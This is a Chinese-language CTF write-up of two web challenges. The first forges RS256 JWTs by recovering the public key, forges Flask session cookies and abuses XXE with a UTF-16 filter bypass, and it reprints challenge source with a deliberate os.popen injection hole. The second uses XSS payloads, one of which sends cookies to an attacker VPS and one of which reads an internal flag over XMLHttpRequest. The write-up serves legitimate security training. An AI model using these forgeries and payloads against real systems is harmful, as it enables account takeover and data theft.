web01
考点
- RS256弱公钥jwt伪造
- flask session伪造
- 疑似出题人的独特emoji编码??
- xxe通过utf16绕过黑名单实现任意文件读取
## 第一步:打开赛题分析环境
题目描述,跟session伪造和jwt伪造有关,思路得偏向到这边
进来是个登录框
没做验证任意可登录,但是admin无法登陆进去
存在以下路由
/profile
/game
/upload
/view_uploads
第二步:猜想分析
题目描述刚才说了,不仅用了jwt还用了session,也就是说不同地方的鉴权后端代码用的不同
多试了几个接口,发现 view_uploads这里的登录判断的鉴权用的是token
因为这里把token删了直接就提示please login first
第三步:jwt和session分析
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEnYSdhIn0.GBiHbZwxSm1aN80JDGnQfCttdl1JZLI4TrioAEcupGxAP0-jw5tGBPpJ36JQYbGTSlUYtgfYEIDxbR_gcMigJtr3Vbh9SkTmh5iNSVa_UeyNrjRps1b3VkDPxBeoHUWaLh86rfCJ-jyK63cLZcp6piD414Le2AyYJiNG_WC0JcVC;
jwt :用的RS256加密算法签名,非对称加密算法
session:
.eJwtjEEOgyAUBa-ib-3CthHBM_QGxhj4fGxTIokfVsa7l4WrySxmTqwhWvmwYJpPNLkCUohYBB3eafvuze2hxBbLtXQgOcKa0493TDBOe9NrP2gyxGwDWf_sX9o4IhUeXg2jUWp0dXekyLXYCkvG9QcEayfh.ZyC60A.NzwtkFRL5VdMgk816XYY81XiydA
拿个脚本跑一下解密得到
{'_flashes': [('success', 'Login successful!')], 'csrf_token': '9b8d908d58c9ceeafcad20389bcc6f1d6579667b', 'role': 'guest'}
第四步: jwt伪造 session伪造
RS256非对称加密算法,得要公钥,私钥
公钥用工具列举一下可能的rsa公钥
python3 jwt_forgery.py jwt1 jwt2
python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEnYSdhIn0.GBiHbZwxSm1aN80JDGnQfCttdl1JZLI4TrioAEcupGxAP0-jw5tGBPpJ36JQYbGTSlUYtgfYEIDxbR_gcMigJtr3Vbh9SkTmh5iNSVa_UeyNrjRps1b3VkDPxBeoHUWaLh86rfCJ-jyK63cLZcp6piD414Le2AyYJiNG_WC0JcVC eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSJ9.JHNm0_wvntN4ji0uLjIbgZSDtz3S-BvhCX0GbpajLr5ZPMZcyTmqC6-mZzOGmw9WjbzsIWoAU2noiGyf4OE8nB2l3HZoXLIGWxeSYz2nunBenp8Hzxo5HLT4CqhBp7fhY-6-ueQJHzhiuj5fT-4JNdLFZFt50VfHXsj2pDQvCEZh
项目地址 silentsignal/rsa_sign2n: Deriving RSA public keys from message-signature pairs
root@2b8f83eac6a2:/app# python3 jwt_forgery.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEnYSdhIn0.GBiHbZwxSm1aN80JDGnQfCttdl1JZLI4TrioAEcupGxAP0-jw5tGBPpJ36JQYbGTSlUYtgfYEIDxbR_gcMigJtr3Vbh9SkTmh5iNSVa_UeyNrjRps1b3VkDPxBeoHUWaLh86rfCJ-jyK63cLZcp6piD414Le2AyYJiNG_WC0JcVC eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhYSJ9.JHNm0_wvntN4ji0uLjIbgZSDtz3S-BvhCX0GbpajLr5ZPMZcyTmqC6-mZzOGmw9WjbzsIWoAU2noiGyf4OE8nB2l3HZoXLIGWxeSYz2nunBenp8Hzxo5HLT4CqhBp7fhY-6-ueQJHzhiuj5fT-4JNdLFZFt50VfHXsj2pDQvCEZh
[*] GCD: 0x2
[*] GCD: 0x2010a6aeca744df45a605e6db7a2ee0d788dbeb13e438e2370ef791c925b7ee553ddde8ff8832dee178a6ea2abe0d2523053615dcbc539e45552a2e2682ffead2a7b320b8ab6853cf8744bf4fdbe2578eb7c01425cb2a4058ddf2b9ba0f997bee65fc90ea0e82033dc1748803524fd3f99a1a98f982c19d60ac2f0c289abdb5c69a
[+] Found n with multiplier 1 :
0x2010a6aeca744df45a605e6db7a2ee0d788dbeb13e438e2370ef791c925b7ee553ddde8ff8832dee178a6ea2abe0d2523053615dcbc539e45552a2e2682ffead2a7b320b8ab6853cf8744bf4fdbe2578eb7c01425cb2a4058ddf2b9ba0f997bee65fc90ea0e82033dc1748803524fd3f99a1a98f982c19d60ac2f0c289abdb5c69a
[+] Written to 2010a6aeca744df4_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.f_a6aZJeisZj-5fL2Ddo8bsDLE7SPVqx3AtrE6074yE'
[+] Written to 2010a6aeca744df4_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.c1LNmRY92JwyMzLarci45zENURVDgjdkWKwh7K_dBdU'
[+] Found n with multiplier 2 :
0x10085357653a26fa2d302f36dbd17706bc46df589f21c711b877bc8e492dbf72a9eeef47fc4196f70bc5375155f069291829b0aee5e29cf22aa951713417ff56953d9905c55b429e7c3a25fa7edf12bc75be00a12e595202c6ef95cdd07ccbdf732fe48750741019ee0ba4401a927e9fccd0d4c7cc160ceb0561786144d5edae34d
[+] Written to 10085357653a26fa_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.RtnxfBkjMI4bdscMANYbaj1e6NUnmeP7ivLsxy41Jfs'
[+] Written to 10085357653a26fa_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.14H5k5iJkzv2aavgVix0wm6VjuyBYBd5lbmBSQxsNVM'
[+] Found n with multiplier 7 :
0x494aa18f859c1fe560dc458d117469435cb1b3de452cb29a26b5a71cbc3ed8e79b1fb392380744695a60fce188dd4e72b79a031f889e3b2e79e1744ea4fffcf985abe01a61a1308b5c77890b688e0c821a4002e0d3e176e81fb4f5f6023a7f6b332414b3b8ee00768959ca499e0b676cccdf3a6cc9895fa0189901bca8643e8a16
[+] Written to 494aa18f859c1fe5_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.HlfX0-Ckq_5SXSvblulnlkZTlI2KaS6731XWJHqDIYk'
[+] Written to 494aa18f859c1fe5_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.jkBe0KRjZ6_TtNW3uQNWzrGsr4Pr2ggWDEAKpWnejqU'
[+] Found n with multiplier 14 :
0x24a550c7c2ce0ff2b06e22c688ba34a1ae58d9ef2296594d135ad38e5e1f6c73cd8fd9c91c03a234ad307e70c46ea7395bcd018fc44f1d973cf0ba27527ffe7cc2d5f00d30d09845ae3bc485b44706410d20017069f0bb740fda7afb011d3fb599920a59dc77003b44ace524cf05b3b6666f9d3664c4afd00c4c80de54321f450b
[+] Written to 24a550c7c2ce0ff2_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.rvVViN0EHtchuMYX0QUclBKFR-WfdlVNYamZLW9bQds'
[+] Written to 24a550c7c2ce0ff2_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.LuMruqV8CQnxxqhqc0winF75TxxOmls2rz-ngQOmJtI'
[+] Found n with multiplier 37 :
0xdddafdce1ed1aca87f25258f576e37b7266cf0089a0ac2b00678e518b65d6024dc7ba306b76ff1ad9bf526fdb9f7d8b532af9ac051704471023bc0ee0f228f0efc6922e812c554acc4df7552f74d1ef19b9154d212aa7cb0ceae26ccffd3ab36a8a491b15261bc36617e80016fb3d1495765729568f9c783c0145848e8f817412
[+] Written to dddafdce1ed1aca8_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.puJs_mFfBqZuoU7lEI9vf7tJjJILqZFvFzdqt_1GFOw'
[+] Written to dddafdce1ed1aca8_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.ZPzHChEeiR_G0_gaj3f48NAlCAIEUixa8WlVwYnbzdM'
[+] Found n with multiplier 74 :
0x6eed7ee70f68d6543f9292c7abb71bdb933678044d056158033c728c5b2eb0126e3dd1835bb7f8d6cdfa937edcfbec5a9957cd6028b82238811de077079147877e3491740962aa56626fbaa97ba68f78cdc8aa6909553e58675713667fe9d59b545248d8a930de1b30bf4000b7d9e8a4abb2b94ab47ce3c1e00a2c24747c0ba09
[+] Written to 6eed7ee70f68d654_65537_x509.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.SKx5l-8vwmRRmq4CPZ2xU74SwPf8Lc-6ld_igESOWSE'
[+] Written to 6eed7ee70f68d654_65537_pkcs1.pem
[+] Tampered JWT: b'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.0lhQCbytTM-X4WS63btIsNYSKqT5Pc__3dn3Tz-cWtQ'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.f_a6aZJeisZj-5fL2Ddo8bsDLE7SPVqx3AtrE6074yE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.c1LNmRY92JwyMzLarci45zENURVDgjdkWKwh7K_dBdU
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.RtnxfBkjMI4bdscMANYbaj1e6NUnmeP7ivLsxy41Jfs
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.14H5k5iJkzv2aavgVix0wm6VjuyBYBd5lbmBSQxsNVM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.HlfX0-Ckq_5SXSvblulnlkZTlI2KaS6731XWJHqDIYk
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.jkBe0KRjZ6_TtNW3uQNWzrGsr4Pr2ggWDEAKpWnejqU
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.rvVViN0EHtchuMYX0QUclBKFR-WfdlVNYamZLW9bQds
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.LuMruqV8CQnxxqhqc0winF75TxxOmls2rz-ngQOmJtI
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.puJs_mFfBqZuoU7lEI9vf7tJjJILqZFvFzdqt_1GFOw
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.ZPzHChEeiR_G0_gaj3f48NAlCAIEUixa8WlVwYnbzdM
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.SKx5l-8vwmRRmq4CPZ2xU74SwPf8Lc-6ld_igESOWSE
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ICJhJ2EnYSIsICJleHAiOiAxNzMwMjkwMzk2fQ.0lhQCbytTM-X4WS63btIsNYSKqT5Pc__3dn3Tz-cWtQ
然后用x509的公钥,拿去这个项目生成私钥
拿着公私钥去改jwt就能让用户名是admin了
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.DNqIFNdFOWgGGnuk95SQa5GdU_D6TDv95lTU97wUP8ekgqX6zrnvvsnp8XkvVfSx0g3xVQqbo5xhdxjNpM8LiiwX_kQ8FO8t0q0qBn1RJ5O2bGkGOZsUWAUrKg7ME6L4-XFiXi7P328f1t4En_kSp91SeS7-9Lcn7Ja__IJbRuH1
然后去profile就可以发现jwt决定的username变成admin了
但问题还存在session鉴权的role仍然是guest
目前jwt伪造成功可以去刚才提到的那几个路由
game路由下是emoji表情字典???
可以看到flag是一个目录
然后再进行构造cd flag;xxx这种再cat *
最后得到源码
from flask import Flask, render_template, redirect, url_for, flash, session, request, jsonify, make_response
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField, FileField, TextAreaField
from wtforms.validators import DataRequired, Length
from werkzeug.utils import secure_filename
import os
import string
from authlib.jose import jwt, JoseError
import requests
app = Flask(__name__)
app.config['SECRET_KEY'] = '36f8efbea152e50b23290e0ed707b4b0'
with open('/app/flag/private_key.pem', 'r') as f:
private_key = f.read()
with open('/app/flag/public_key.pem', 'r') as f:
public_key = f.read()
def game_play(user_input):
emoji_table = {
#这里是emoji对应的字符,不支持发出来因此就删了
}
if len(set(user_input).intersection(set(string.printable.replace(" ", '')))) > 0:
return user_input.lower()
command = user_input
result = 'emoji shell'
for key in emoji_table:
if key in command:
command = command.replace(key, emoji_table[key]).lower()
result = command
result = result + os.popen(command + " 2>&1").read()
return result
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequired(), Length(min=1, max=25)])
password = PasswordField('Password', validators=[DataRequired()])
submit = SubmitField('Login')
class UploadForm(FlaskForm):
avatar = FileField('Choose a file', validators=[DataRequired()])
submit = SubmitField('Upload')
class GameForm(FlaskForm):
user_input = TextAreaField('Enter something', validators=[DataRequired()])
submit = SubmitField('Submit')
def generate_jwt(username):
header = {'alg': 'RS256'}
payload = {
'username': username,
}
token = jwt.encode(header, payload, private_key)
return token
def decode_jwt(token):
try:
payload = jwt.decode(token, public_key)
return payload
except JoseError as e:
return None
@app.route('/', methods=['GET', 'POST'])
def login():
form = LoginForm()
if form.validate_on_submit():
username = form.username.data
password = form.password.data
if username == 'admin':
flash('Invalid username or password', 'danger')
return render_template('login.html', form=form)
if username:
session['role'] = 'guest'
token = generate_jwt(username)
response = make_response(redirect(url_for('dashboard')))
response.set_cookie('token', token.decode())
flash('Login successful!', 'success')
return response
else:
flash('Invalid username or password', 'danger')
return render_template('login.html', form=form)
@app.route('/dashboard')
def dashboard():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
if not payload:
flash('Invalid or expired token. Please login again.', 'danger')
return redirect(url_for('login'))
return render_template('dashboard.html')
@app.route('/profile')
def profile():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
if not payload:
flash('Invalid or expired token. Please login again.', 'danger')
return redirect(url_for('login'))
user_info = {
'username': payload['username'],
'role': session['role'],
}
return render_template('profile.html', user_info=user_info)
@app.route('/game', methods=['GET', 'POST'])
def game():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('game.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('game.html', form=form, error_message=error_message)
if payload['username'] != 'admin':
error_message = 'You do not have permission to access this page. Your username is not admin'
return render_template('game.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
user_input = form.user_input.data
user_input = game_play(user_input)
return render_template('game.html', form=form, user_input=user_input)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
token = request.cookies.get('token')
if not token:
flash('Please login first', 'warning')
return redirect(url_for('login'))
payload = decode_jwt(token)
form = UploadForm()
if not payload or payload['username'] != 'admin':
error_message = 'You do not have permission to access this page. Your username is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if not session['role'] or session['role'] != 'admin':
error_message = 'You do not have permission to access this page. Your role is not admin.'
return render_template('upload.html', form=form, error_message=error_message, username=payload['username'])
if form.validate_on_submit():
file = form.avatar.data
if file:
filename = secure_filename(file.filename)
files = {'file': (filename, file.stream, file.content_type)}
php_service_url = 'http://127.0.0.1/upload.php'
response = requests.post(php_service_url, files=files)
if response.status_code == 200:
flash(response.text, 'success')
else:
flash('Failed to upload file to PHP service', 'danger')
return render_template('upload.html', form=form)
@app.route('/view_uploads', methods=['GET', 'POST'])
def view_uploads():
token = request.cookies.get('token')
form = GameForm()
if not token:
error_message = 'Please login first'
return render_template('view_uploads.html', form=form, error_message=error_message)
payload = decode_jwt(token)
if not payload:
error_message = 'Invalid or expired token. Please login again.'
return render_template('view_uploads.html', form=form, error_message=error_message)
if payload['username'] != 'admin':
error_message = 'You do not have permission to access this page. Your username is not admin'
return render_template('view_uploads.html', form=form, error_message=error_message)
user_input = None
if form.validate_on_submit():
filepath = form.user_input.data
pathurl = request.form.get('path')
if ("www.testctf.com" not in pathurl) or ("127.0.0.1" in pathurl) or ('/var/www/html/uploads/' not in filepath) or ('.' in filepath):
error_message = "www.testctf.com must be in path and /var/www/html/uploads/ must be in filepath."
return render_template('view_uploads.html', form=form, error_message=error_message)
params = {'s': filepath}
try:
response = requests.get("http://" + pathurl, params=params, timeout=1)
return render_template('view_uploads.html', form=form, user_input=response.text)
except:
error_message = "500! Server Error"
return render_template('view_uploads.html', form=form, error_message=error_message)
return render_template('view_uploads.html', form=form, user_input=user_input)
@app.route('/logout')
def logout():
session.clear()
response = make_response(redirect(url_for('login')))
response.delete_cookie('token')
flash('You have been logged out', 'info')
return response
if __name__ == '__main__':
app.run()
得到session key
36f8efbea152e50b23290e0ed707b4b0
伪造session,命令
python3 flask_session_cookie_manager3.py encode -s "36f8efbea152e50b23290e0ed707b4b0" -t "{'_flashes': [('success', 'Login successful\!')], 'csrf_token': '9b8d908d58c9ceeafcad20389bcc6f1d6579667b', 'role': 'admin'}"
得到
.eJwtjEEOgyAUBa9i39qFbSOCZ-gNqjHw-bSmFBK_rox3l4WrySxmdkwhWvmyoH_vqNYCyEbEIqjxyp85VZeHLQ7DDeMx1iBZwrTmHyf0ME5702jfajLEbANZ_2ie2jgiFe5etZ1RqnNluOTIpbD-PyccJ10BKHo.ZyDbfA._QhJgUcjVtI_gb5qxYE436job5M
第五步:伪造后事-xxe
文件上传接口会给你把后缀吊了
通过 view_uploads 进行访问对应文件
但是提示必须要
www.testctf.com must be in path and /var/www/html/uploads/ must be in filepath.
利用@或者传参绕过即可
成功绕过但是报错Failed Load XML 证明该处会加载XML文件 上传一个XXE进行读文件
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///vat/www/html/flag.php" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
返回hacker
存在waf
utf16绕过
iconv -f UTF-8 -t UTF-16 xxe.xml -o xxe_16.xml
配合php伪协议读flag
web02
考点
- 利用xss发起ajax请求访问内网资源
reference:一次利用XSS读取源码
## 第一步:开题目环境,得到路由hash
开题进来随意登录得到一个hash
访问
第二步:验证xss漏洞存在
输入框这里前端源码,很明显可以构造xss
"<script>alert('starven hacked you!')</script>
第三步:漏洞利用尝试
带cookie,然而并没有东西
"<script>alert(document.cookie)</script>
还外带了一下到vps然而也没有(其实是为了试探一下出不出网
"<script>document.write('<img src="http://ip/'+document.cookie+'"/>')</script>
该题由于boss界面会返回content=xxx
因此将flag带到这里content的内容使得页面回显(其实刚才测试了出网也可以带到vps上)
然后尝试执行js代码发起http请求
function exp(data) {
var req = new XMLHttpRequest();
req.open("POST","http://127.0.0.1:5000/content/6a7c5d7acc37ff2b8801856ded447fee", true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.send("content=" + data);
}
var req2 = new XMLHttpRequest();
req2.open("GET", "http://127.0.0.1:5000/flag");
req2.send();
req2.onload = function () {
var result = this.responseText;
exp(result);
};
payload闭合一下xss即可
"<script>
function exp(data) {
var req = new XMLHttpRequest();
req.open("POST","http://127.0.0.1:5000/content/6a7c5d7acc37ff2b8801856ded447fee", true);
req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
req.send("content=" + data);
}
var req2 = new XMLHttpRequest();
req2.open("GET", "http://127.0.0.1:5000/flag");
req2.send();
req2.onload = function () {
var result = this.responseText;
exp(result);
};
</script>